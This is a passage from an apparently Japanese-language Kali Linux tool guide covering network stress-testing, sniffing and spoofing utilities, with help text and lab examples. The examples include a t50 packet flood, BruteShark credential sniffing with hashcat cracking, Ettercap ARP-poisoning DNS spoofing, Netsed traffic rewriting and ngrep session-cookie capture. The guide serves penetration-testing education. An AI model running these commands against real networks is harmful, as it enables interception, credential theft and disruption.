    --eigrp-delay NUM         EIGRP [in|ex]ternal delay        (default RANDOM)
    --eigrp-bandwidth NUM     EIGRP [in|ex]ternal bandwidth    (default RANDOM)
    --eigrp-mtu NUM           EIGRP [in|ex]ternal MTU          (default 1500)
    --eigrp-hop-count NUM     EIGRP [in|ex]ternal hop count    (default RANDOM)
    --eigrp-load NUM          EIGRP [in|ex]ternal load         (default RANDOM)
    --eigrp-reliability NUM   EIGRP [in|ex]ternal reliability  (default RANDOM)
    --eigrp-daddr ADDR/CIDR   EIGRP [in|ex]ternal address(es)  (default RANDOM)
    --eigrp-src-router ADDR   EIGRP external source router     (default RANDOM)
    --eigrp-src-as NUM        EIGRP external autonomous system (default RANDOM)
    --eigrp-tag NUM           EIGRP external arbitrary tag     (default RANDOM)
    --eigrp-proto-metric NUM  EIGRP external protocol metric   (default RANDOM)
    --eigrp-proto-id NUM      EIGRP external protocol ID       (default 2)
    --eigrp-ext-flags NUM     EIGRP external flags             (default RANDOM)
    --eigrp-address ADDR      EIGRP multicast sequence address (default RANDOM)
    --eigrp-multicast NUM     EIGRP multicast sequence #       (default RANDOM)
    --eigrp-authentication    EIGRP authentication included    (default OFF)
    --eigrp-auth-key-id NUM   EIGRP authentication key ID      (default 1)

OSPF Options:
    --ospf-type NUM           OSPF type                        (default 1)
    --ospf-length NUM         OSPF length                      (default NONE)
    --ospf-router-id ADDR     OSPF router ID                   (default RANDOM)
    --ospf-area-id ADDR       OSPF area ID                     (default 0.0.0.0)
 -1,--ospf-option-MT          OSPF multi-topology / TOS-based  (default RANDOM)
 -2,--ospf-option-E           OSPF external routing capability (default RANDOM)
 -3,--ospf-option-MC          OSPF multicast capable           (default RANDOM)
 -4,--ospf-option-NP          OSPF NSSA supported              (default RANDOM)
 -5,--ospf-option-L           OSPF LLS data block contained    (default RANDOM)
 -6,--ospf-option-DC          OSPF demand circuits supported   (default RANDOM)
 -7,--ospf-option-O           OSPF Opaque-LSA                  (default RANDOM)
 -8,--ospf-option-DN          OSPF DOWN bit                    (default RANDOM)
    --ospf-netmask ADDR       OSPF router subnet mask          (default RANDOM)
    --ospf-hello-interval NUM OSPF HELLO interval              (default RANDOM)
    --ospf-hello-priority NUM OSPF HELLO router priority       (default 1)
    --ospf-hello-dead NUM     OSPF HELLO router dead interval  (default 360)
    --ospf-hello-design ADDR  OSPF HELLO designated router     (default RANDOM)
    --ospf-hello-backup ADDR  OSPF HELLO backup designated     (default RANDOM)
    --ospf-neighbor NUM       OSPF HELLO # of neighbor(s)      (default NONE)
    --ospf-address ADDR,...   OSPF HELLO neighbor address(es)  (default RANDOM)
    --ospf-dd-mtu NUM         OSPF DD MTU                      (default 1500)
    --ospf-dd-dbdesc-MS       OSPF DD master/slave bit option  (default RANDOM)
    --ospf-dd-dbdesc-M        OSPF DD more bit option          (default RANDOM)
    --ospf-dd-dbdesc-I        OSPF DD init bit option          (default RANDOM)
    --ospf-dd-dbdesc-R        OSPF DD out-of-band resync       (default RANDOM)
    --ospf-dd-sequence NUM    OSPF DD sequence #               (default RANDOM)
    --ospf-dd-include-lsa     OSPF DD include LSA header       (default OFF)
    --ospf-lsa-age NUM        OSPF LSA age                     (default 360)
    --ospf-lsa-do-not-age     OSPF LSA do not age              (default OFF)
    --ospf-lsa-type NUM       OSPF LSA type                    (default 1)
    --ospf-lsa-id ADDR        OSPF LSA ID address              (default RANDOM)
    --ospf-lsa-router ADDR    OSPF LSA advertising router      (default RANDOM)
    --ospf-lsa-sequence NUM   OSPF LSA sequence #              (default RANDOM)
    --ospf-lsa-metric NUM     OSPF LSA metric                  (default RANDOM)
    --ospf-lsa-flag-B         OSPF Router-LSA border router    (default RANDOM)
    --ospf-lsa-flag-E         OSPF Router-LSA external router  (default RANDOM)
    --ospf-lsa-flag-V         OSPF Router-LSA virtual router   (default RANDOM)
    --ospf-lsa-flag-W         OSPF Router-LSA wild router      (default RANDOM)
    --ospf-lsa-flag-NT        OSPF Router-LSA NSSA translation (default RANDOM)
    --ospf-lsa-link-id ADDR   OSPF Router-LSA link ID          (default RANDOM)
    --ospf-lsa-link-data ADDR OSPF Router-LSA link data        (default RANDOM)
    --ospf-lsa-link-type NUM  OSPF Router-LSA link type        (default 1)
    --ospf-lsa-attached ADDR  OSPF Network-LSA attached router (default RANDOM)
    --ospf-lsa-larger         OSPF ASBR/NSSA-LSA ext. larger   (default OFF)
    --ospf-lsa-forward ADDR   OSPF ASBR/NSSA-LSA forward       (default RANDOM)
    --ospf-lsa-external ADDR  OSPF ASBR/NSSA-LSA external      (default RANDOM)
    --ospf-vertex-router      OSPF Group-LSA type router       (default RANDOM)
    --ospf-vertex-network     OSPF Group-LSA type network      (default RANDOM)
    --ospf-vertex-id ADDR     OSPF Group-LSA vertex ID         (default RANDOM)
    --ospf-lls-extended-LR    OSPF LLS Extended option LR      (default OFF)
    --ospf-lls-extended-RS    OSPF LLS Extended option RS      (default OFF)
    --ospf-authentication     OSPF authentication included     (default OFF)
    --ospf-auth-key-id NUM    OSPF authentication key ID       (default 1)
    --ospf-auth-sequence NUM  OSPF authentication sequence #   (default RANDOM)

■ 使用例

# 対応する15個のプロトコル全てのデータパケットを生成して送信
root@kali:~# t50 192.168.11.4 --protocol T50

[INFO] Sending 1000 packets...
[INFO] Performing stress testing...
[INFO] Hit Ctrl+C to stop...
[INFO] PID=5479
[INFO] t50 5.8.7b successfully launched at Thu Nov 21 09:04:42 2024

[INFO] t50 5.8.7b successfully finished at Thu Nov 21 09:04:42 2024

[INFO] (PID:5479) packets:    1000 (54783 bytes sent).
[INFO] (PID:5479) throughput: 95373.69 packets/second.

Network Sniffing and Spoofing

Above

ネットワークに流れるパケットのプロトコルを判別して情報を表示します。

[対応プロトコル]

MACSec (802.1X AE)
EAPOL (Checking 802.1X versions)
ARP (Host Discovery)
CDP (Cisco Discovery Protocol)
DTP (Dynamic Trunking Protocol)
LLDP (Link Layer Discovery Protocol)
VLAN (802.1Q)
S7COMM (Siemens) (SCADA)
OMRON (SCADA)
TACACS+ (Terminal Access Controller Access Control System Plus)
ModbusTCP (SCADA)
STP (Spanning Tree Protocol)
OSPF (Open Shortest Path First)
EIGRP (Enhanced Interior Gateway Routing Protocol)
BGP (Border Gateway Protocol)
VRRP (Virtual Router Redundancy Protocol)
HSRP (Host Standby Redundancy Protocol)
GLBP (Gateway Load Balancing Protocol)
IGMP (Internet Group Management Protocol)
LLMNR (Link Local Multicast Name Resolution)
NBT-NS (NetBIOS Name Service)
MDNS (Multicast DNS)
DHCP (Dynamic Host Configuration Protocol)
DHCPv6 (Dynamic Host Configuration Protocol v6)
ICMPv6 (Internet Control Message Protocol v6)
SSDP (Simple Service Discovery Protocol)
MNDP (MikroTik Neighbor Discovery Protocol)
SNMP (Simple Network Management Protocol)
RADIUS (Remote Authentication Dial-In User Service)

■ 使用方法

root@kali:~# above --help

usage: above [-h] [--interface INTERFACE] [--timer TIMER] [--output OUTPUT] [--input INPUT] [--passive-arp]
             [--search-vlan]

options:
  -h, --help            show this help message and exit
  --interface INTERFACE
                        Interface for traffic listening
  --timer TIMER         Time in seconds to capture packets, default: not set
  --output OUTPUT       File name where the traffic will be recorded, default: not set
  --input INPUT         File name of the traffic dump
  --passive-arp         Passive ARP (Host Discovery)
  --search-vlan         VLAN Search

■ 使用例

# ネットワークインターフェース eth0 に流れるパケットを120秒間キャプチャする
root@kali:~# above --interface eth0 --timer 120

[...]

-----------------------------------------------------------------------------------------
[+] Start sniffing...

[*] After the protocol is detected - all necessary information about it will be displayed
--------------------------------------------------
[+] Detected SNMP Packet
[*] Attack Impact: Information Gathering
[*] Tools: snmpwalk, snmpget, snmp_enum, onesixtyone
[*] Source IP: 192.168.X.X
[*] Destination IP: 192.168.X.X
[*] SNMP Community String: public
[*] Mitigation: Restrict SNMP access, use strong community strings, monitor SNMP traffic

BruteShark

キャプチャしたパケットの調査・分析を行います。パスワードの抽出、ネットワークマップの構築、TCPセッションの再構築、暗号化されたパスワードのハッシュの抽出などを行うことが出来ます。

■ 使用方法

root@kali:~# brutesharkcli --help

  -d, --input-dir       The input directory containing the files to be processed.

  -i, --input           The files to be processed separated by comma.

  -m, --modules         The modules to be separated by comma: Credentials, FileExtracting, NetworkMap, DNS, Voip.

  -o, --output          Output directory for the results files.

  -p, --promiscuous     Configures whether to start live capture with promiscuous mode (sometimes needs super user privileges to do so),use along with -l for live
                        capture.

  -l, --live-capture    Capture and process packets live from a network interface.

  -f, --filter          Set a capture BPF filter to the live traffic processing.

  --help                Display this help screen.

  --version             Display version information.

■ 使用例

# ネットワークをスニッフィングしてクレデンシャル情報（Kerberos, NTLM, CRAM-MD5, HTTP-Digestなど）を取得する
root@kali:~# brutesharkcli -l eth0 -m Credentials  -o /root
[+] Started analyzing packets from eth0 device - Press Ctrl + C to stop
# Digest認証のハッシュを検出
Found: Hash: 2001:db8::2=>2001:db8::3 (HTTP) HTTP-Digest => 1ffa22ed90f32080df6dff3f1796e117
^C
Hashes file created: /root/Hashes/Brute Shark - HTTP-Digest Hashcat Export.txt
[+] Successfully exported hashes
[+] BruteShark finished processing

# エクスポートされたファイルをHashcatで解析
root@kali:~# hashcat -a 3 "/root/Hashes/Brute Shark - HTTP-Digest Hashcat Export.txt"
hashcat (v6.2.6) starting in autodetect mode
[...]

# ハッシュ化されたパスワードを解読
$sip$***admin*Digest Auth*GET**/**h5iIF2AiBgA=e6e78c5e7ac1d1104bc8c104e529ff0af46565d8*ZmZlZmQxZmRhY2EyNDg1ZWRmNTgzY2I1ZDQ1NzczNTE=*00000001*auth*MD5*1ffa22ed90f32080df6dff3f1796e117:pass
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 11400 (SIP digest authentication (MD5))
Hash.Target......: $sip$***admin*Digest Auth*GET**/**h5iIF2AiBgA=e6e78...96e117
Time.Started.....: Wed Sep 18 09:13:29 2024 (0 secs)
Time.Estimated...: Wed Sep 18 09:13:29 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?1?2?2?2 [4]
Guess.Charset....: -1 ?l?d?u, -2 ?l?d, -3 ?l?d*!$@_, -4 Undefined 
Guess.Queue......: 4/15 (26.67%)
Speed.#1.........: 39098.6 kH/s (4.07ms) @ Accel:512 Loops:62 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 253952/2892672 (8.78%)
Rejected.........: 0/253952 (0.00%)
Restore.Point....: 0/46656 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-62 Iteration:0-62
Candidate.Engine.: Device Generator
Candidates.#1....: sari -> Xbbi

Windows版ではGUIによる操作も可能です。

Chaosreader

ネットワークトラフィックログ内のキャプチャデータを分析し、様々なアプリケーションプロトコル(HTTP/FTP/...)のセッションとファイルのデータをレポートに出力します。

■ 使用方法

root@kali:~# chaosreader --help

USAGE: chaosreader [-adehiknqrvxAHIRTUXY] [-D dir]
                   [-b port[,...]] [-B port[,...]]
                   [-j IPaddr[,...]] [-J IPaddr[,...]]
                   [-l port[,...]] [-L port[,...]] [-m bytes[k]]
                   [-M bytes[k]] [-o "time"|"size"|"type"|"ip"]
                   [-p port[,...]] [-P port[,...]]
                   infile [infile2 ...]

       chaosreader -s [mins] | -S [mins[,count]]
                   [-z] [-f 'filter']

   chaosreader           # Create application session files, indexes

   -a, --application     # Create application session files (default)
   -d, --preferdns       # Show DNS names instead of IP addresses
   -e, --everything      # Create HTML 2-way & hex files for everything
   -h                    # Print a brief help
   --help                # Print verbose help (this) and version
   --help2               # Print massive help
   -i, --info            # Create info file
   -q, --quiet           # Quiet, no output to screen
   -r, --raw             # Create raw files
   -v, --verbose         # Verbose - Create ALL files .. (except -e)
   -x, --index           # Create index files (default)
   -A, --noapplication   # Exclude application session files
   -H, --hex             # Include hex dumps (slow)
   -I, --noinfo          # Exclude info files
   -R, --noraw           # Exclude raw files
   -T, --notcp           # Exclude TCP traffic
   -U, --noudp           # Exclude UDP traffic
   -Y, --noicmp          # Exclude ICMP traffic
   -X, --noindex         # Exclude index files
   -k, --keydata         # Create extra files for keystroke analysis
   -n, --names           # Include hostnames in hyperlinked HTTPlog (HTML)
   -D dir    --dir dir        # Output all files to this directory
   -b 25,79  --playtcp 25,79  # replay these TCP ports as well (playback)
   -B 36,42  --playudp 36,42  # replay these UDP ports as well (playback)
   -l 7,79   --htmltcp 7,79   # Create HTML for these TCP ports as well
   -L 7,123  --htmludp 7,123  # Create HTML for these UDP ports as well
   -m 1k     --min 1k         # Min size of connection to save ("k" for Kb)
   -M 1024k  --max 1k         # Max size of connection to save ("k" for Kb)
   -o size   --sort size      # sort Order: time/size/type/ip (Default time)
   -p 21,23  --port 21,23     # Only examine these ports (TCP & UDP)
   -P 80,81  --noport 80,81   # Exclude these ports (TCP & UDP)
   -s 5      --runonce 5      # Standalone. Run tcpdump/snoop for 5 mins.
   -S 5,10   --runmany 5,10   # Standalone, many. 10 samples of 5 mins each.
   -S 5      --runmany 5      # Standalone, endless. 5 min samples forever.
   -z        --runredo        # Standalone, redo. Rereads last run's logs.
   -j 10.1.2.1  --ipaddr 10.1.2.1    # Only examine these IPs
   -J 10.1.2.1  --noipaddr 10.1.2.1  # Exclude these IPs
   -f 'port 7'  --filter 'port 7'    # With standalone, use this dump filter.

■ 使用例

root@kali:~# chaosreader -D report out.pcap

Opening, out.pcap

Reading file contents,
 100% (108476/108476)
Reassembling packets,
 100% (868/868)
 
index.html created.

出力されたHTMLレポート

darkstat

ネットワークインターフェースを流れるパケットを監視してトラフィックのグラフや統計情報を表示します。

■ 使用方法

root@kali:~# darkstat --help

usage: darkstat [ -i interface ]
                [ -f filter ]
                [ -r capfile ]
                [ -p port ]
                [ -b bindaddr ]
                [ -l network/netmask ]
                [ --base path ]
                [ --local-only ]
                [ --snaplen bytes ]
                [ --pppoe ]
                [ --syslog ]
                [ --verbose ]
                [ --no-daemon ]
                [ --no-promisc ]
                [ --no-dns ]
                [ --no-macs ]
                [ --no-lastseen ]
                [ --chroot dir ]
                [ --user username ]
                [ --daylog filename ]
                [ --import filename ]
                [ --export filename ]
                [ --pidfile filename ]
                [ --hosts-max count ]
                [ --hosts-keep count ]
                [ --ports-max count ]
                [ --ports-keep count ]
                [ --highest-port port ]
                [ --wait secs ]
                [ --hexdump ]
                [ --version ]
                [ --help ]

■ 使用例

# ネットワークインターフェースeth0を監視
root@kali:~# darkstat -i eth0

667番ポートでWebサーバが起動するのでブラウザから確認可能

DNSChef

DNS偽装サーバー（DNSプロキシ）の機能を提供します。

■ 使用方法

root@kali:~# dnschef --help

usage: dnschef [options]:

options:
  -h, --help            show this help message and exit
  --fakedomains thesprawl.org,google.com
                        A comma separated list of domain names which will be resolved to FAKE values specified in the the above parameters. All other domain names
                        will be resolved to their true values.
  --truedomains thesprawl.org,google.com
                        A comma separated list of domain names which will be resolved to their TRUE values. All other domain names will be resolved to fake values
                        specified in the above parameters.

Fake DNS records::
  --fakeip 192.0.2.1    IP address to use for matching DNS queries. If you use this parameter without specifying domain names, then all 'A' queries will be
                        spoofed. Consider using --file argument if you need to define more than one IP address.
  --fakeipv6 2001:db8::1
                        IPv6 address to use for matching DNS queries. If you use this parameter without specifying domain names, then all 'AAAA' queries will be
                        spoofed. Consider using --file argument if you need to define more than one IPv6 address.
  --fakemail mail.fake.com
                        MX name to use for matching DNS queries. If you use this parameter without specifying domain names, then all 'MX' queries will be spoofed.
                        Consider using --file argument if you need to define more than one MX record.
  --fakealias www.fake.com
                        CNAME name to use for matching DNS queries. If you use this parameter without specifying domain names, then all 'CNAME' queries will be
                        spoofed. Consider using --file argument if you need to define more than one CNAME record.
  --fakens ns.fake.com  NS name to use for matching DNS queries. If you use this parameter without specifying domain names, then all 'NS' queries will be spoofed.
                        Consider using --file argument if you need to define more than one NS record.
  --file FILE           Specify a file containing a list of DOMAIN=IP pairs (one pair per line) used for DNS responses. For example: google.com=1.1.1.1 will force
                        all queries to 'google.com' to be resolved to '1.1.1.1'. IPv6 addresses will be automatically detected. You can be even more specific by
                        combining --file with other arguments. However, data obtained from the file will take precedence over others.

Optional runtime parameters.:
  --logfile FILE        Specify a log file to record all activity
  --nameservers 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888
                        A comma separated list of alternative DNS servers to use with proxied requests. Nameservers can have either IP or IP#PORT format. A
                        randomly selected server from the list will be used for proxy requests when provided with multiple servers. By default, the tool uses
                        Google\'s public DNS server 8.8.8.8 when running in IPv4 mode and 2001:4860:4860::8888 when running in IPv6 mode.
  -i 127.0.0.1 or ::1, --interface 127.0.0.1 or ::1
                        Define an interface to use for the DNS listener. By default, the tool uses 127.0.0.1 for IPv4 mode and ::1 for IPv6 mode.
  -t, --tcp             Use TCP DNS proxy instead of the default UDP.
  -6, --ipv6            Run in IPv6 mode.
  -p 53, --port 53      Port number to listen for DNS requests.
  -q, --quiet           Don\'t show headers.

■ 使用例

# DNSプロキシを起動
root@kali:~# dnschef --fakeip 127.0.0.1 --fakeipv6 2001:db8::1

[...]

(07:04:40) [*] DNSChef started on interface: 127.0.0.1
(07:04:40) [*] Using the following nameservers: 8.8.8.8
(07:04:40) [*] Cooking all A replies to point to 127.0.0.1
(07:04:40) [*] Cooking all AAAA replies to point to 2001:db8::1

# DNSプロキシに問い合わせを実行（事前に`/etc/resolv.conf`に`nameserver 127.0.0.1`を追加）
root@kali:~# nslookup google.com
Server:         127.0.0.1
Address:        127.0.0.1#53

Name:   google.com
Address: 127.0.0.1
Name:   google.com
Address: 2001:db8::1

Ettercap

中間者攻撃を行うための様々な機能を提供します。

■ 使用方法

root@kali:~# ettercap --help

Usage: ettercap [OPTIONS] [TARGET1] [TARGET2]

TARGET is in the format MAC/IP/IPv6/PORTs (see the man for further detail)

Sniffing and Attack options:
  -M, --mitm <METHOD:ARGS>    perform a mitm attack
  -o, --only-mitm             don\'t sniff, only perform the mitm attack
  -b, --broadcast             sniff packets destined to broadcast
  -B, --bridge <IFACE>        use bridged sniff (needs 2 ifaces)
  -p, --nopromisc             do not put the iface in promisc mode
  -S, --nosslmitm             do not forge SSL certificates
  -u, --unoffensive           do not forward packets
  -r, --read <file>           read data from pcapfile <file>
  -f, --pcapfilter <string>   set the pcap filter <string>
  -R, --reversed              use reversed TARGET matching
  -t, --proto <proto>         sniff only this proto (default is all)
      --certificate <file>    certificate file to use for SSL MiTM
      --private-key <file>    private key file to use for SSL MiTM

User Interface Type:
  -T, --text                  use text only GUI
       -q, --quiet                 do not display packet contents
       -s, --script <CMD>          issue these commands to the GUI
  -C, --curses                use curses GUI
  -D, --daemon                daemonize ettercap (no GUI)
  -G, --gtk                   use GTK+ GUI

Logging options:
  -w, --write <file>          write sniffed data to pcapfile <file>
  -L, --log <logfile>         log all the traffic to this <logfile>
  -l, --log-info <logfile>    log only passive infos to this <logfile>
  -m, --log-msg <logfile>     log all the messages to this <logfile>
  -c, --compress              use gzip compression on log files

Visualization options:
  -d, --dns                   resolves ip addresses into hostnames
  -V, --visual <format>       set the visualization format
  -e, --regex <regex>         visualize only packets matching this regex
  -E, --ext-headers           print extended header for every pck
  -Q, --superquiet            do not display user and password

LUA options:
      --lua-script <script1>,[<script2>,...]     comma-separted list of LUA scripts
      --lua-args n1=v1,[n2=v2,...]               comma-separated arguments to LUA script(s)

General options:
  -i, --iface <iface>         use this network interface
  -I, --liface                show all the network interfaces
  -Y, --secondary <ifaces>    list of secondary network interfaces
  -n, --netmask <netmask>     force this <netmask> on iface
  -A, --address <address>     force this local <address> on iface
  -P, --plugin <plugin>       launch this <plugin> - multiple occurance allowed
      --plugin-list <plugin1>,[<plugin2>,...]       comma-separated list of plugins
  -F, --filter <file>         load the filter <file> (content filter)
  -z, --silent                do not perform the initial ARP scan
  -6, --ip6scan               send ICMPv6 probes to discover IPv6 nodes on the link
  -j, --load-hosts <file>     load the hosts list from <file>
  -k, --save-hosts <file>     save the hosts list to <file>
  -W, --wifi-key <wkey>       use this key to decrypt wifi packets (wep or wpa)
  -a, --config <config>       use the alternative config file <config>

Standard options:
  -v, --version               prints the version and exit
  -h, --help                  this help screen

■ 使用例

# google.comのAレコードを攻撃者ホストのIPアドレスに変更
root@kali_1:~# echo "google.com   A   192.168.11.3" >> /etc/ettercap/etter.dns
# 標的ホストに対してDNSスプーフィングを実行
root@kali_1:~# ettercap -T -i eth0 -P dns_spoof -M arp:remote /192.168.11.1// /192.168.11.4//
ettercap 0.8.3.1 copyright 2001-2020 Ettercap Development Team

Listening on:
  eth0 -> 02:42:AC:13:00:02
          192.168.11.4/255.255.0.0
[...]

# 標的ホストでgoogle.comへのリクエスト（攻撃者ホストに立てたWebサーバーにリクエストされる）
root@kali_2:~# curl -L --head http://google.com
HTTP/1.1 200 OK
Date: Wed, 02 Oct 2024 03:36:29 GMT
Server: Apache/2.4.62 (Debian)
X-Powered-By: PHP/8.1.31
Content-Type: text/html; charset=UTF-8

HexInject

パケットのスニッフィングやインジェクションを16進数で行います。

■ 使用方法

root@kali:~# hexinject -h

Usage:
   hexinject <mode> <options>

Options:
  -s sniff mode
  -p inject mode
  -r raw mode (instead of the default hexadecimal mode)
  -f <filter> custom pcap filter
  -i <device> network device to use
  -F <file> pcap file to use as device (sniff mode only)
  -c <count> number of packets to capture
  -t <time> sleep time in microseconds (default 100)
  -I list all available network devices

Injection options:
  -C disable automatic packet checksum
  -S disable automatic packet size fields

Interface options:
  -P disable promiscuous mode
  -M put the wireless interface in monitor mode
     (experimental: use airmon-ng instead of this...)

Other options:
  -h help screen

■ 使用例

# ARPパケットをスニッフィング（16進数モード）してIPアドレスを抽出
root@kali:~# hexinject -s -i eth0 -f 'arp' | awk -W interactive '{ printf("%d.%d.%d.%d\n", "0x"$29, "0x"$30, "0x"$31, "0x"$32); }'

# スニッフィング状態でARPテーブルを表示
root@kali:~# arp

# IPアドレスが表示される
root@kali:~# hexinject -s -i eth0 -f 'arp' | awk -W interactive '{ printf("%d.%d.%d.%d\n", "0x"$29, "0x"$30, "0x"$31, "0x"$32); }'
192.168.11.1
192.168.11.3
192.168.11.3
192.168.11.1

---------------------

# パケットをスニッフィング（rawモード）してHTTP通信のHostヘッダーを抽出
root@kali:~# hexinject -s -i eth0 -r | stdbuf -o0 strings | grep 'Host:'

# スニッフィング状態でhttpリクエストを送信
root@kali:~# curl -H 'Host: example.com' http://example.com/
root@kali:~# curl -L -H 'Host: google.com' https://google.com/

# Hostヘッダーの情報が表示される
root@kali:~# hexinject -s -i eth0 -r | stdbuf -o0 strings | grep 'Host:'
Host: example.com
Host: google.com
Host: www.google.com

GNU MAC Changer

ネットワークインターフェイスのMACアドレスを変更します。

■ 使用方法

root@kali:~# macchanger --help
GNU MAC Changer
Usage: macchanger [options] device

  -h,  --help                   Print this help
  -V,  --version                Print version and exit
  -s,  --show                   Print the MAC address and exit
  -e,  --ending                 Don\'t change the vendor bytes
  -a,  --another                Set random vendor MAC of the same kind
  -A                            Set random vendor MAC of any kind
  -p,  --permanent              Reset to original, permanent hardware MAC
  -r,  --random                 Set fully random MAC
  -l,  --list[=keyword]         Print known vendors
  -b,  --bia                    Pretend to be a burned-in-address
  -m,  --mac=XX:XX:XX:XX:XX:XX
       --mac XX:XX:XX:XX:XX:XX  Set the MAC XX:XX:XX:XX:XX:XX

■ 使用例

root@kali:~# ip link show eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default
    link/ether 96:00:02:ae:08:aa brd ff:ff:ff:ff:ff:ff link-netnsid 0

root@kali:~# macchanger -e eth0
Current MAC:   96:00:02:ae:08:aa (unknown)
Permanent MAC: 96:00:02:ae:08:aa (unknown)
New MAC:       94:00:02:e0:66:95 (unknown)

root@kali:~# ip link show eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default
    link/ether 94:00:02:e0:66:95 brd ff:ff:ff:ff:ff:ff link-netnsid 0

Netsed

ネットワークを介して転送されるパケットの内容をリアルタイムで変更します。

■ 使用方法

root@kali:~# netsed --help

Usage: netsed [option] proto lport rhost rport rule1 [ rule2 ... ]

  options - can be --ipv4 or -4 to force address resolution in IPv4,
            --ipv6 or -6 to force address resolution in IPv6,
            --ipany to resolve the address in either IPv4 or IPv6.
          - --help or -h to display this usage information.
  proto   - protocol specification (tcp or udp)
  lport   - local port to listen on (see README for transparent
            traffic intercepting on some systems)
  rhost   - where connection should be forwarded (0 = use destination
            address of incoming connection, see README)
  rport   - destination port (0 = dst port of incoming connection)
  ruleN   - replacement rules (see below)

General syntax of replacement rules: s/pat1/pat2[/expire]

■ 使用例

# ホストAで8080番ポートを使ってパケットを待ち受ける
root@kali_a:~# ncat -l 8080 --keep-open

# ホストBからホストAに対してHTTPリクエストを送信
root@kali_b:~# curl http://192.168.11.4:8080

# ホストAにリクエストの内容が表示される
root@kali_a:~# ncat -l 8080 --keep-open
GET / HTTP/1.1
Host: 192.168.11.4:8080
User-Agent: curl/8.9.1
Accept: */*

# ホストCで8080番ポートを使ってTCPパケットを待ち受け、HTTPヘッダーを書き換えてホストAに転送する
root@kali_c:~# netsed tcp 8080 192.168.11.4 8080 's/GET %2f HTTP%2f1.1/DELETE %2f HTTP%2f1.1/' 's/Host: 192.168.11.3/Host: 192.168.11.4/'
netsed 1.2 by Julien VdG <julien@silicone.homelinux.org>
      based on 0.01c from Michal Zalewski <lcamtuf@ids.pl>
[*] Parsing rule s/GET %2f HTTP%2f1.1/DELETE %2f HTTP%2f1.1/...
[*] Parsing rule s/Host: 192.168.11.3/Host: 192.168.11.4/...
[+] Loaded 2 rules...
[+] Using fixed forwarding to 192.168.11.4,8080.
[+] Listening on port 8080/tcp.

# ホストBからホストCに対してHTTPリクエストを送信
root@kali_b:~# curl http://192.168.11.3:8080

# ホストAにホストCで書き換えられた内容が表示される
root@kali_a:~# ncat -l 8080 --keep-open
GET / HTTP/1.1
Host: 192.168.11.4:8080
User-Agent: curl/8.9.1
Accept: */*

DELETE / HTTP/1.1
Host: 192.168.11.4:8080
User-Agent: curl/8.9.1
Accept: */*

ngrep

パケットの解析を行います。パケットのデータペイロードに対する正規表現または16進表現によるマッチングや、BPFフィルタロジックを指定することができます。

■ 使用方法

root@kali:~# ngrep -h

usage: ngrep <-hNXViwqpevxlDtTRM> <-IO pcap_dump> <-n num> <-d dev> <-A num>
             <-s snaplen> <-S limitlen> <-W normal|byline|single|none> <-c cols>
             <-P char> <-F file>             <-K count>
             <match expression> <bpf filter>
   -h  is help/usage
   -V  is version information
   -q  is be quiet (don\'t print packet reception hash marks)
   -e  is show empty packets
   -i  is ignore case
   -v  is invert match
   -R  is don\'t do privilege revocation logic
   -x  is print in alternate hexdump format
   -X  is interpret match expression as hexadecimal
   -w  is word-regex (expression must match as a word)
   -p  is don\'t go into promiscuous mode
   -l  is make stdout line buffered
   -D  is replay pcap_dumps with their recorded time intervals
   -t  is print timestamp every time a packet is matched
   -T  is print delta timestamp every time a packet is matched
         specify twice for delta from first match
   -M  is don\'t do multi-line match (do single-line match instead)
   -I  is read packet stream from pcap format file pcap_dump
   -O  is dump matched packets in pcap format to pcap_dump
   -n  is look at only num packets
   -A  is dump num packets after a match
   -s  is set the bpf caplen
   -S  is set the limitlen on matched packets
   -W  is set the dump format (normal, byline, single, none)
   -c  is force the column width to the specified size
   -P  is set the non-printable display char to what is specified
   -F  is read the bpf filter from the specified file
   -N  is show sub protocol number
   -d  is use specified device instead of the pcap default
   -K  is send N packets to kill observed connections

■ 使用例

# ポート番号80番向けで"PHPSESSID"という内容が含まれる通信をスニッフィング
root@kali:~# ngrep -d eth0 -t 'PHPSESSID' tcp and dst port 80
interface: eth0 (192.168.11.0/255.255.255.0)
filter: ( tcp and dst port 80 ) and ((ip || ip6) || (vlan && (ip || ip6)))
match (JIT): PHPSESSID

# 条件にマッチした通信が表示される
T 2024/10/30 03:09:29.287955 192.168.11.3:32974 -> 192.168.11.4:80 [AP] #5
  GET /login.php HTTP/1.1..Host: 192.168.11.4..User-Agent: curl/8.9.1..Accept: */*..Cookie: PHPSESSID=07339191351e517568d7486c2220c62a....

# パケットのダンプファイルを検索して条件にマッチする通信を表示
root@kali:~# ngrep -I dump.pcap 'PHPSESSID' tcp and dst port 80
input: dump.pcap
filter: ( tcp and dst port 80 ) and ((ip || ip6) || (vlan && (ip || ip6)))
match (JIT): PHPSESSID
##########
T 192.168.11.3:45448 -> 192.168.11.4:80 [AP] #12
  GET /login.php HTTP/1.1..Host: 192.168.11.4..User-Agent: curl/8.9.1..Accept: */*..Cookie: PHPSESSID=07339191351e517568d7486c2220c62a....
###exit

P0f

受信したトラフィックをフィンガープリントを使って解析し、送信元のOS情報などを表示します。

■ 使用方法

root@kali:~# p0f -h

Usage: p0f [ ...options... ] [ 'filter rule' ]

Network interface options:

  -i iface  - listen on the specified network interface
  -r file   - read offline pcap data from a given file
  -p        - put the listening interface in promiscuous mode
  -L        - list all available interfaces

Operating mode and output settings:

  -f file   - read fingerprint database from 'file' (/etc/p0f/p0f.fp)
  -o file   - write information to the specified log file
  -s name   - answer to API queries at a named unix socket
  -u user   - switch to the specified unprivileged account and chroot
  -d        - fork into background (requires -o or -s)

Performance-related options:

  -S limit  - limit number of parallel API connections (20)
  -t c,h    - set connection / host cache age limits (30s,120m)
  -m c,h    - cap the number of active connections / hosts (1000,10000)

■ 使用例

root@kali:~# p0f -i eth0 'dst port 80'

[+] Closed 1 file descriptor.
[+] Loaded 322 signatures from '/etc/p0f/p0f.fp'.
[+] Intercepting traffic on interface 'eth0'.
[+] Custom filtering rule enabled: dst port 80 [+VLAN]
[+] Entered main event loop.

